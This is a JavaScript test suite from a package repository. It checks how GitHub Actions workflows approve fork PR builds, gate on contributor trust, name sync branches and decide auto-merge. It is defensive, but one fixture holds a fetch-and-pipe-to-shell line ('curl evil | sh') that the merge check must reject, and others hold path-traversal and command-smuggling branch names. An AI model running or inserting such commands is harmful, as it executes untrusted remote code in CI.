Files
omarchy-pkgs/tests/pr-workflow-approval.cjs
T
Ryan Hughes ba7561a34c Open one auto-merging PR per package from every sync workflow
sync-upstream.yml, sync-rebuilds.yml and track-branches.yml each opened one
batch PR, so one package with a failing build held back every other update
in it (#788, #837). All three now group their changes with
package-pr-groups.sh and hand them to package-prs.yml, which opens a PR per
package and arms auto-merge. Packages pinned from the same upstream branch
still share one. Green packages land on their own and only the failures stay
open; a red PR conflicting with master, and each lane's old batch PR, get
closed.

sync-upstream.yml loses its human-merged lane: it now pushes with the PAT
like the other two, so its builds start without an approval hold and its PRs
auto-merge when green. min_release_age still quarantines fresh releases. Its
approve job, approve-sync-push.cjs, and auto-merge-pr.cjs's exception for
auto/sync-upstream go with it.
2026-10-09 18:20:57 -04:00

495 lines
24 KiB
JavaScript

const assert = require('node:assert/strict');
const { readFileSync, writeFileSync, mkdirSync, mkdtempSync, rmSync } = require('node:fs');
const { join } = require('node:path');
const { tmpdir } = require('node:os');
const { test } = require('node:test');
const { execFileSync, spawnSync } = require('node:child_process');
const approve = require('../.github/scripts/approve-pr-workflows.cjs');
const BUILD = '.github/workflows/build-pr.yml';
const TESTS = '.github/workflows/test.yml';
const time = '2026-09-19T02:47:52Z';
const earlier = '2026-09-19T02:36:04Z';
const pr = {
number: 390, state: 'open', updated_at: time,
head: { sha: 'reviewed-sha', ref: 'ghost', repo: { id: 42 } },
labels: [{ name: 'build-approved' }],
};
const clone = value => structuredClone(value);
const run = (id, path, overrides = {}) => ({
id, path, event: 'pull_request', head_sha: pr.head.sha,
head_repository: { id: 42 }, head_branch: 'ghost', pull_requests: [],
status: 'completed', conclusion: 'action_required', created_at: time,
...overrides,
});
function fixture(initial = [run(1, TESTS, { created_at: earlier }), run(2, BUILD)], options = {}) {
const state = { pr: clone(pr), runs: clone(initial), approved: [], reads: 0, tick: 0, transitions: [] };
const repo = { owner: 'omacom', repo: 'omarchy-pkgs' };
const github = {
rest: {
pulls: { get: async args => {
assert.deepEqual(args, { ...repo, pull_number: 390 });
state.reads++;
options.onRead?.(state);
return { data: clone(state.pr) };
} },
actions: {
listWorkflowRunsForRepo() {},
getWorkflowRun: async ({ run_id }) => {
const current = state.runs.find(run => run.id === run_id);
state.transitions.push([run_id, current.status]);
return { data: clone(current) };
},
approveWorkflowRun: async args => {
assert.deepEqual(args, { ...repo, run_id: args.run_id });
options.onApprove?.(state, args.run_id);
const current = state.runs.find(run => run.id === args.run_id);
assert.equal(current.conclusion, 'action_required');
state.approved.push(current.id);
current.status = 'queued';
current.conclusion = null;
},
},
},
paginate: async (method, args) => {
assert.equal(method, github.rest.actions.listWorkflowRunsForRepo);
assert.deepEqual(args, { ...repo, event: 'pull_request', head_sha: pr.head.sha, per_page: 100 });
return clone(state.runs).reverse(); // GitHub returns newest first.
},
};
const invoke = overrides => approve({
github, context: { repo, payload: { action: 'labeled', pull_request: clone(pr) } },
core: { info() {} }, vouchStatus: 'unknown', attempts: 6,
sleep: async () => {
state.tick++;
for (const current of state.runs) {
if (current.status === 'queued' && state.tick >= (options.queueUntil ?? 1)) current.status = 'in_progress';
}
options.onSleep?.(state);
},
...overrides,
});
return { state, invoke, github };
}
test('an unvouched, labeled fork PR releases both required workflows', async () => {
const { state, invoke } = fixture();
await invoke();
assert.deepEqual(state.approved, [1, 2]);
});
test('waits for the label-triggered build instead of stopping at the old build', async () => {
const { state, invoke } = fixture([
run(1, BUILD, { created_at: earlier }), run(2, TESTS, { created_at: earlier }),
], {
onSleep(state) {
if (state.tick === 2) {
assert.deepEqual(state.approved, []);
state.runs.push(run(3, BUILD));
}
},
queueUntil: 4,
onApprove(state, id) {
if (id === 3) assert.equal(state.runs.find(run => run.id === 1).status, 'in_progress');
},
});
await invoke({ attempts: 10 });
assert.deepEqual(state.approved, [1, 2, 3]);
assert.ok(state.transitions.some(([id, status]) => id === 1 && status === 'queued'));
});
test('approves only the two known workflows for this fork, branch, PR and SHA', async () => {
const unrelated = [
{ path: '.github/workflows/publish.yml' }, { event: 'push' },
{ head_sha: 'other-sha' }, { head_repository: { id: 99 } },
{ head_branch: 'other-branch' }, { pull_requests: [{ number: 391 }] },
].map((overrides, i) => run(10 + i, BUILD, overrides));
const { state, invoke } = fixture([run(1, TESTS), run(2, BUILD), ...unrelated]);
await invoke();
assert.deepEqual(state.approved, [1, 2]);
});
test('accepts a run explicitly associated with this PR', async () => {
const { state, invoke } = fixture([
run(1, TESTS), run(2, BUILD, { pull_requests: [{ number: 390 }] }),
]);
await invoke();
assert.deepEqual(state.approved, [1, 2]);
});
test('does not restart running or completed workflows', async () => {
const { state, invoke } = fixture([
run(1, TESTS, { conclusion: 'success' }),
run(2, BUILD, { status: 'in_progress', conclusion: null }),
]);
await invoke();
assert.deepEqual(state.approved, []);
});
test('an obsolete build hold cannot cancel a newer build that was already released', async () => {
for (const current of [
{ status: 'queued', conclusion: null }, { status: 'in_progress', conclusion: null },
{ status: 'completed', conclusion: 'success' }, { status: 'completed', conclusion: 'failure' },
]) {
const { state, invoke } = fixture([
run(1, BUILD, { created_at: earlier }), run(2, TESTS), run(3, BUILD, current),
]);
await invoke();
assert.deepEqual(state.approved, [2]);
}
});
for (const status of ['denounced', '', undefined, 'unexpected']) {
test(`vouch status ${String(status)} fails closed`, async () => {
const { state, invoke } = fixture();
await assert.rejects(invoke({ vouchStatus: status }), /Cannot approve workflows/);
assert.deepEqual(state.approved, []);
});
}
for (const status of ['bot', 'collaborator', 'vouched']) {
test(`a labeled ${status} can also clear GitHub's approval gate`, async () => {
const { state, invoke } = fixture();
await invoke({ vouchStatus: status });
assert.deepEqual(state.approved, [1, 2]);
});
}
for (const [name, change] of [
['removed label', pr => { pr.labels = []; }],
['changed head', pr => { pr.head.sha = 'new-sha'; }],
['closed PR', pr => { pr.state = 'closed'; }],
]) {
test(`${name} stops approval, including changes immediately before a write`, async () => {
for (const read of [1, 2]) {
const { state, invoke } = fixture(undefined, { onRead(state) {
if (state.reads === read) change(state.pr);
} });
await invoke();
assert.deepEqual(state.approved, []);
}
});
}
test('revocation between approvals prevents releasing further workflows', async () => {
const { state, invoke } = fixture(undefined, { onSleep(state) { state.pr.labels = []; } });
await invoke();
assert.deepEqual(state.approved, [1]);
});
test('a delayed tests workflow is also awaited', async () => {
const { state, invoke } = fixture([run(2, BUILD)], {
onSleep(state) { if (state.tick === 2) state.runs.push(run(1, TESTS)); },
});
await invoke();
assert.deepEqual(state.approved, [1, 2]);
});
test('a lone build left pending behind an older in-flight build does not hold back the tests', async () => {
// Sync branches queue rather than cancel, so an approved build can stay
// queued for hours. Only a newer held build needs to wait for it to start.
const { state, invoke } = fixture([run(1, BUILD), run(2, TESTS)], { queueUntil: Infinity });
await invoke();
assert.deepEqual(state.approved, [1, 2]);
assert.deepEqual(state.transitions, []);
});
test('reopening a labeled PR waits for its new tests, even if old tests passed at the same SHA', async () => {
const { state, invoke } = fixture([
run(1, TESTS, { created_at: earlier, conclusion: 'success' }), run(2, BUILD),
], { onSleep(state) { if (state.tick === 2) state.runs.push(run(3, TESTS)); } });
await invoke({ context: { repo: { owner: 'omacom', repo: 'omarchy-pkgs' },
payload: { action: 'reopened', pull_request: clone(pr) } } });
assert.deepEqual(state.approved, [2, 3]);
});
test('missing current runs time out without approving stale builds', async () => {
const { state, invoke } = fixture([run(1, TESTS), run(2, BUILD, { created_at: earlier })]);
await assert.rejects(invoke(), /Timed out/);
assert.deepEqual(state.approved, []);
});
test('API failure is reported rather than silently treated as approval', async () => {
const { state, invoke } = fixture(undefined, { onApprove() { throw new Error('Forbidden'); } });
await assert.rejects(invoke(), /Forbidden/);
assert.deepEqual(state.approved, []);
});
// Execute the actual build workflow's approval script and shell gate. This
// covers the stale event payload that originally accompanied held PR runs.
const workflow = readFileSync(join(__dirname, '../.github/workflows/build-pr.yml'), 'utf8');
const approvalScript = workflow.match(/- id: approval[\s\S]*?script: \|\n([\s\S]*?)(?= # One matrix)/)[1]
.split('\n').map(line => line.replace(/^ /, '')).join('\n');
const gateScript = workflow.match(/ case "\$STATUS" in[\s\S]*? esac/)[0] + '\nprintf "%s" "$trusted"';
test('the build reads the live label rather than its pre-label event payload', async () => {
const execute = new (Object.getPrototypeOf(async function () {}).constructor)('github', 'context', 'core', approvalScript);
for (const [current, approved] of [
[pr, true], [{ ...pr, labels: [] }, false],
[{ ...pr, head: { ...pr.head, sha: 'new-sha' } }, false],
[{ ...pr, state: 'closed' }, false],
]) {
const outputs = {};
await execute({ rest: { pulls: { get: async () => ({ data: current }) } } },
{ repo: {}, payload: { pull_request: { ...pr, labels: [] } } },
{ setOutput: (key, value) => { outputs[key] = value; } });
assert.equal(outputs.approved, approved);
}
});
test('the build gate permits a missing vouch only with approval, never a denouncement or lookup failure', () => {
for (const [status, approved, expected] of [
['unknown', 'true', 'true'], ['unknown', 'false', 'false'],
['denounced', 'true', 'false'], ['', 'true', 'false'], ['unexpected', 'true', 'false'],
['vouched', 'false', 'true'], ['collaborator', 'false', 'true'],
['bot', 'false', 'true'], ['dispatch', 'false', 'true'],
]) {
assert.equal(execFileSync('bash', ['-c', gateScript], {
env: { ...process.env, STATUS: status, APPROVED: approved }, encoding: 'utf8',
}), expected);
}
});
// Exercise the actual reporting job, including its GitHub check name: a
// successful/skipped check called "result" would accidentally allow merging
// a PR whose build never ran. GitHub keeps a missing required check pending.
const resultJob = workflow.slice(workflow.indexOf('\n result:\n'));
const resultName = resultJob.match(/^ name: (.+)$/m)[1];
const resultScript = resultJob.split(' - run: |\n')[1];
function report({ trusted = 'false', vouch = 'unknown', empty = 'false', changes = 'success', build = 'skipped' } = {}) {
const needs = {
changes: { result: changes, outputs: { trusted, vouch_status: vouch, empty } },
build: { result: build },
};
// The reporting expressions use &&, || and string equality, with the
// same semantics in JavaScript and Actions for these string-only fixtures.
const render = text => text.replace(/\$\{\{(.*?)\}\}/g, (_, expression) =>
new Function('needs', `return (${expression})`)(needs));
const directory = mkdtempSync(join(tmpdir(), 'build-approval-report-'));
const summaryPath = join(directory, 'summary');
try {
const result = spawnSync('bash', ['-e', '-c', render(resultScript)], {
env: { ...process.env, GITHUB_STEP_SUMMARY: summaryPath }, encoding: 'utf8',
});
return { name: render(resultName), ...result,
summary: result.stdout.includes('::notice::') ? readFileSync(summaryPath, 'utf8') : '' };
} finally {
rmSync(directory, { recursive: true, force: true });
}
}
test('an unvouched PR waits without publishing a passing or failing required result', () => {
const result = report();
assert.equal(result.name, 'Awaiting build approval');
assert.equal(result.status, 0);
assert.match(result.stdout, /::notice::Awaiting maintainer build approval/);
assert.doesNotMatch(result.stdout, /::error::/);
assert.match(result.summary, /required \*\*result\*\* check remains pending/);
});
test('applying build-approved transitions the waiting PR to the required build result', () => {
assert.notEqual(report().name, 'result');
const approved = report({ trusted: 'true', build: 'success' });
assert.equal(approved.name, 'result');
assert.equal(approved.status, 0);
const failed = report({ trusted: 'true', build: 'failure' });
assert.equal(failed.name, 'result');
assert.notEqual(failed.status, 0);
});
test('trusted tooling-only PRs still satisfy the required result without a package build', () => {
const result = report({ trusted: 'true', vouch: 'vouched' });
assert.equal(result.name, 'result');
assert.equal(result.status, 0);
});
for (const [name, overrides] of [
['denounced author', { vouch: 'denounced' }],
['failed trust lookup', { vouch: '', changes: 'failure' }],
['missing trust result', { vouch: '' }],
['missing gate output', { trusted: '' }],
['failed planning', { changes: 'failure' }],
['cancelled planning', { changes: 'cancelled' }],
['empty PR', { empty: 'true' }],
['cancelled build', { trusted: 'true', build: 'cancelled' }],
]) {
test(`${name} fails the required result instead of masquerading as pending approval`, () => {
const result = report(overrides);
assert.equal(result.name, 'result');
assert.notEqual(result.status, 0);
assert.doesNotMatch(result.stdout, /::notice::Awaiting maintainer build approval/);
});
}
// A push to a sync branch must not cancel that PR's multi-hour build; any
// other PR still cancels its superseded build.
test('only same-repository sync branches queue behind an in-flight build', () => {
const expression = workflow.match(/^ cancel-in-progress: \$\{\{(.*)\}\}$/m)[1];
const cancels = (repo, ref) => new Function('github', 'startsWith', `return (${expression})`)(
{ repository: 'omacom/omarchy-pkgs', head_ref: ref,
event: { pull_request: { head: { repo: { full_name: repo } } } } },
(text, prefix) => text.startsWith(prefix));
assert.equal(cancels('omacom/omarchy-pkgs', 'auto/sync-upstream'), false);
assert.equal(cancels('omacom/omarchy-pkgs', 'auto/sync-upstream-ttfx'), false);
assert.equal(cancels('omacom/omarchy-pkgs', 'auto/sync-rebuilds'), false);
assert.equal(cancels('omacom/omarchy-pkgs', 'auto/track-branches-omarchy-dev-omarchy-settings-dev'), false);
assert.equal(cancels('omacom/omarchy-pkgs', 'ttfx/fix'), true);
assert.equal(cancels('someone/omarchy-pkgs', 'auto/sync-upstream'), true);
assert.equal(cancels(undefined, ''), true); // workflow_dispatch
});
// A scoped dispatch must not push to the shared branch: it would replace the
// other pending updates in the open sync PR with just the named packages.
const branchScript = join(__dirname, '../.github/scripts/sync-pr-branch.sh');
const branchFor = (...names) => Object.fromEntries(execFileSync(branchScript,
['auto/sync-upstream', ...names], { encoding: 'utf8' })
.trim().split('\n').map(line => line.split(/=(.*)/s).slice(0, 2)));
test('scheduled runs keep the shared branch; scoped runs get their own', () => {
assert.deepEqual(branchFor(), { branch: 'auto/sync-upstream', scope: '' });
assert.deepEqual(branchFor('ttfx'), { branch: 'auto/sync-upstream-ttfx', scope: 'ttfx' });
assert.deepEqual(branchFor('ttfx', 'strata', 'ttfx'),
{ branch: 'auto/sync-upstream-strata-ttfx', scope: 'strata ttfx' });
assert.equal(branchFor('python-foo.bar').branch, 'auto/sync-upstream-python-foo-bar');
const names = ['a-very-long-package-name-one', 'another-very-long-package-name-two'];
const long = branchFor(...names, 'third');
assert.ok(long.branch.length <= 'auto/sync-upstream-'.length + 60);
assert.notEqual(long.branch, branchFor(...names).branch);
});
test('scoped branch names reject anything that is not a package name', () => {
for (const name of ['../x', 'A', 'x y', 'a@{b', '-x', '.x', 'x;true']) {
assert.equal(spawnSync(branchScript, ['auto/sync-upstream', name]).status, 1, name);
}
});
// Every bot lane opens one PR per package through package-prs.yml, with the
// PAT: a GITHUB_TOKEN push would wait for build approval, and a GITHUB_TOKEN
// merge would not start publish.yml.
test('every bot lane opens its PRs per package through package-prs.yml', () => {
for (const [file, prefix] of [['sync-upstream.yml', 'auto/sync-upstream'],
['sync-rebuilds.yml', 'auto/sync-rebuilds'], ['track-branches.yml', 'auto/track-branches']]) {
const text = readFileSync(join(__dirname, '../.github/workflows', file), 'utf8');
assert.match(text, new RegExp(`package-pr-groups\\.sh ${prefix.replace('/', '\\/')} "\\$RUNNER_TEMP\/pins\\.patch"`), file);
assert.match(text, /uses: \.\/\.github\/workflows\/package-prs\.yml/, file);
assert.match(text, new RegExp(`prefix: ${prefix.replace('/', '\\/')}\n`), file);
assert.match(text, /PKGS_BOT_TOKEN: \$\{\{ secrets\.PKGS_BOT_TOKEN \}\}/, file);
assert.doesNotMatch(text, /create-pull-request|build-approved|\n approve:\n/, file);
assert.doesNotMatch(text, /^ +(contents|pull-requests|actions): write$/m, file);
}
const prs = readFileSync(join(__dirname, '../.github/workflows/package-prs.yml'), 'utf8');
assert.match(prs, /token: \$\{\{ secrets\.PKGS_BOT_TOKEN \}\}/);
assert.doesNotMatch(prs, /secrets\.GITHUB_TOKEN/);
assert.match(prs, /gh pr merge --auto --merge "\$PR"/);
assert.match(prs, /fail-fast: false/);
assert.doesNotMatch(prs, /^ +(contents|pull-requests|actions): write$/m);
});
// One PR per package, except packages pinned from the same upstream branch,
// which move in lockstep and so share one.
const groupsScript = join(__dirname, '../.github/scripts/package-pr-groups.sh');
test('package PRs split per package and keep branch siblings together', () => {
const dir = mkdtempSync(join(tmpdir(), 'package-pr-groups-'));
try {
const git = (...args) => execFileSync('git', ['-C', dir, '-c', 'user.name=T', '-c', 'user.email=t@t', ...args]);
git('init', '-q');
const write = (name, watch) => {
const pkg = join(dir, 'pkgbuilds', name);
mkdirSync(join(pkg, '.omarchy'), { recursive: true });
writeFileSync(join(pkg, 'PKGBUILD'), `pkgname=${name}\npkgver=1\npkgrel=1\n`);
writeFileSync(join(pkg, '.omarchy/package.json'), JSON.stringify({ upstream: { watch } }));
};
const branch = { git_branch: 'https://github.com/basecamp/omarchy.git', branch: 'quattro' };
write('omarchy-dev', branch);
write('omarchy-settings-dev', branch);
write('omasnap-git', { git_branch: 'https://github.com/omacom/omasnap.git', branch: 'main' });
write('zed', { github: 'zed-industries/zed' });
write('untouched', { github: 'x/y' });
git('add', '.');
git('commit', '-qm', 'base');
for (const name of ['omarchy-dev', 'omarchy-settings-dev', 'omasnap-git', 'zed']) {
writeFileSync(join(dir, 'pkgbuilds', name, 'PKGBUILD'), `pkgname=${name}\npkgver=2\npkgrel=1\n`);
}
const patch = join(dir, 'pins.patch');
const groups = JSON.parse(execFileSync(groupsScript, ['auto/track-branches', patch], { cwd: dir, encoding: 'utf8' }));
assert.deepEqual(groups, [
{ branch: 'auto/track-branches-omarchy-dev-omarchy-settings-dev', packages: 'omarchy-dev omarchy-settings-dev' },
{ branch: 'auto/track-branches-omasnap-git', packages: 'omasnap-git' },
{ branch: 'auto/track-branches-zed', packages: 'zed' },
]);
assert.match(readFileSync(patch, 'utf8'), /pkgbuilds\/zed\/PKGBUILD/);
git('checkout', '-q', '--', 'pkgbuilds');
assert.deepEqual(JSON.parse(execFileSync(groupsScript, ['auto/sync-upstream', patch], { cwd: dir, encoding: 'utf8' })), []);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
const { decide } = require('../.github/scripts/auto-merge-pr.cjs');
const repository = 'omacom/omarchy-pkgs';
const mergeable = (overrides = {}) => ({
state: 'open', draft: false, labels: [],
head: { ref: 'superwhisper-bin', repo: { full_name: repository } }, ...overrides,
});
const packageFiles = [{ filename: 'pkgbuilds/superwhisper-bin/PKGBUILD' },
{ filename: 'pkgbuilds/superwhisper-bin/.omarchy/package.json' }];
test('auto-merge follows the build gate: trusted authors, or build-approved for unknown ones', () => {
for (const vouchStatus of ['collaborator', 'vouched', 'bot']) {
assert.equal(decide({ pr: mergeable(), files: packageFiles, vouchStatus, repository }).enable, true, vouchStatus);
}
assert.equal(decide({ pr: mergeable(), files: packageFiles, vouchStatus: 'unknown', repository }).enable, false);
const labelled = mergeable({ labels: [{ name: 'build-approved' }] });
assert.equal(decide({ pr: labelled, files: packageFiles, vouchStatus: 'unknown', repository }).enable, true);
// A denouncement is absolute, and a failed lookup is not approval.
for (const vouchStatus of ['denounced', '', undefined, 'error']) {
assert.equal(decide({ pr: labelled, files: packageFiles, vouchStatus, repository }).enable, false, String(vouchStatus));
}
});
test('auto-merge only lands PRs that change nothing outside pkgbuilds/', () => {
const check = files => decide({ pr: mergeable(), files, vouchStatus: 'collaborator', repository }).enable;
assert.equal(check(packageFiles), true);
assert.equal(check([...packageFiles, { filename: '.github/workflows/publish.yml' }]), false);
assert.equal(check([{ filename: 'bin/build' }]), false);
assert.equal(check([{ filename: 'pkgbuilds/x/PKGBUILD', previous_filename: 'helpers/x.sh' }]), false);
assert.equal(check([]), false);
});
test('auto-merge accepts the test a package PR brings, and nothing else outside pkgbuilds/', () => {
const check = files => decide({ pr: mergeable(), files, vouchStatus: 'collaborator', repository }).enable;
const wiring = patch => ({ filename: '.github/workflows/test.yml', status: 'modified', patch });
const newTest = { filename: 'tests/superwhisper-bin-install.sh', status: 'added' };
// #854's shape: package files, a new test, and one line in test.yml running it.
const adds = '@@ -67,6 +67,7 @@ jobs:\n ./tests/voxtype-bin-install.sh\n+ ./tests/superwhisper-bin-install.sh\n pacman -S --noconfirm --quiet rclone >/dev/null';
assert.equal(check([...packageFiles, newTest, wiring(adds)]), true);
// An existing test can run on master with write access; editing it is not a package change.
assert.equal(check([...packageFiles, { filename: 'tests/build-isolation.sh', status: 'modified' }]), false);
// test.yml changes that do anything but add a test call.
assert.equal(check([...packageFiles, wiring('@@ -1 +1 @@\n-on:\n+on: [push]')]), false);
assert.equal(check([...packageFiles, wiring('@@ -67 +67,2 @@\n+ ./tests/x.sh\n+ curl evil | sh')]), false);
assert.equal(check([...packageFiles, wiring('@@ -67 +67 @@\n- ./tests/a.sh\n+ ./tests/b.sh')]), false);
assert.equal(check([...packageFiles, wiring(undefined)]), false);
});
test('auto-merge skips drafts and closed PRs, and arms every bot lane', () => {
const check = pr => decide({ pr, files: packageFiles, vouchStatus: 'bot', repository }).enable;
assert.equal(check(mergeable({ draft: true })), false);
assert.equal(check(mergeable({ state: 'closed' })), false);
// The bot lanes already enable their own auto-merge; agreeing is harmless.
for (const ref of ['auto/sync-upstream-zed', 'auto/sync-rebuilds-walker', 'auto/track-branches-omarchy-dev-omarchy-settings-dev']) {
assert.equal(check(mergeable({ head: { ref, repo: { full_name: repository } } })), true, ref);
}
});
test('auto-merge workflow enables with the bot token and never checks out the PR', () => {
const text = readFileSync(join(__dirname, '../.github/workflows/auto-merge-pr.yml'), 'utf8');
assert.match(text, /pull_request_target:/);
assert.match(text, /ref: \$\{\{ github\.event\.repository\.default_branch \}\}/);
assert.doesNotMatch(text, /head\.sha \}\}|head\.ref \}\}|refs\/pull\//);
assert.match(text, /GH_TOKEN: \$\{\{ secrets\.PKGS_BOT_TOKEN \}\}/);
assert.match(text, /gh pr merge --auto --squash --match-head-commit "\$HEAD_SHA"/);
assert.doesNotMatch(text, /^ +(contents|pull-requests|actions): write$/m);
});